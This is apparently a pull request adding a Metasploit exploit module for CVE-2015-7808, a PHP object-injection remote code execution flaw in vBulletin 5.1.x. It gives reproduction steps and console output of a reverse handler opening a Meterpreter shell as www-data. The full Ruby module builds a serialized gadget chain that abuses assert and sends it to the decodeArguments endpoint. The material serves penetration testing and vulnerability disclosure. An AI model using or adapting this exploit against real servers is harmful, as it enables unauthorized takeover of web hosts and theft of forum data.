Implement a module for the recent vBulletin RCE

This module implements the recent unserialize-powered RCE against
vBulletin 5.1.X

Step to reproduce:

1. Install vBulletin 5.1.X
2. Launch the exploit against it

```
msf exploit(vbulletin_unserialize) > check
[*] 192.168.1.25:80 - The target appears to be vulnerable.
msf exploit(vbulletin_unserialize) >
```

```
msf exploit(vbulletin) > run

[*] Started reverse handler on 192.168.1.11:4444
[*] Sending stage (33068 bytes) to 192.168.1.25
[*] Meterpreter session 1 opened (192.168.1.11:4444 -> 192.168.1.25:49642) at 2015-11-06 14:04:46 +0100

meterpreter > getuid
Server username: www-data (33)
```

modules/exploits/unix/webapp/vbulletin_unserialize.rb

@@ -0,0 +1,65 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HttpClient
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'vBulletin 5.1.2 Unserialize Code Execution',
+      'Description'    => %q{
+        This module exploits a PHP object injection vulnerability in vBulletin 5.1.2 to 5.1.9
+      },
+      'Platform'       => 'php',
+      'License'        => MSF_LICENSE,
+      'Author'         => [
+          'Netanel Rubin',  # reported by
+          'cutz',  # original exploit
+          'Julien (jvoisin) Voisin',  # metasploit module
+      ],
+      'References'     =>
+        [
+          ['CVE', '2015-7808'],
+          ['URL', 'http://pastie.org/pastes/10527766/text?key=wq1hgkcj4afb9ipqzllsq'],
+          ['URL', 'http://blog.checkpoint.com/2015/11/05/check-point-discovers-critical-vbulletin-0-day/']
+        ],
+      'Arch'           => ARCH_PHP,
+      'Targets'        => [['vBulletin 5.1.2', {}]],
+      'DisclosureDate' => 'Nov 4 2015',
+      'DefaultTarget'  => 0))
+  end
+
+  def check
+    res = send_request_cgi({ 'uri' => '/' })
+    if (res && res.body =~ /Version 5.1./ && res.body =~ /Copyright &copy; 2015 vBulletin Solutions, Inc./)
+      return Exploit::CheckCode::Appears
+    else
+      return Exploit::CheckCode::Unknown
+    end
+    Exploit::CheckCode::Safe
+  end
+
+  def exploit
+
+    chain = 'O:12:"vB_dB_Result":2:{s:5:"*db";O:18:"vB_Database_MySQLi":1:{s:9:"functions";a:1:{s:11:"free_result";s:6:"assert";}}s:12:"*recordset";s:'
+    chain << "#{payload.encoded.length}:\"#{payload.encoded}\";}"
+
+    chain = Rex::Text.uri_encode(chain)
+    chain = chain.gsub(/%2a/, '%00%2a%00')  # php and Rex disagree on '*' encoding
+
+    res = send_request_cgi({
+        'method' => 'GET',
+        'uri'       => normalize_uri(target_uri.path, 'ajax/api/hook/decodeArguments'),
+        'vars_get' => {
+            'arguments' => chain
+      },
+       'encode_params' => false,
+    })
+  end
+end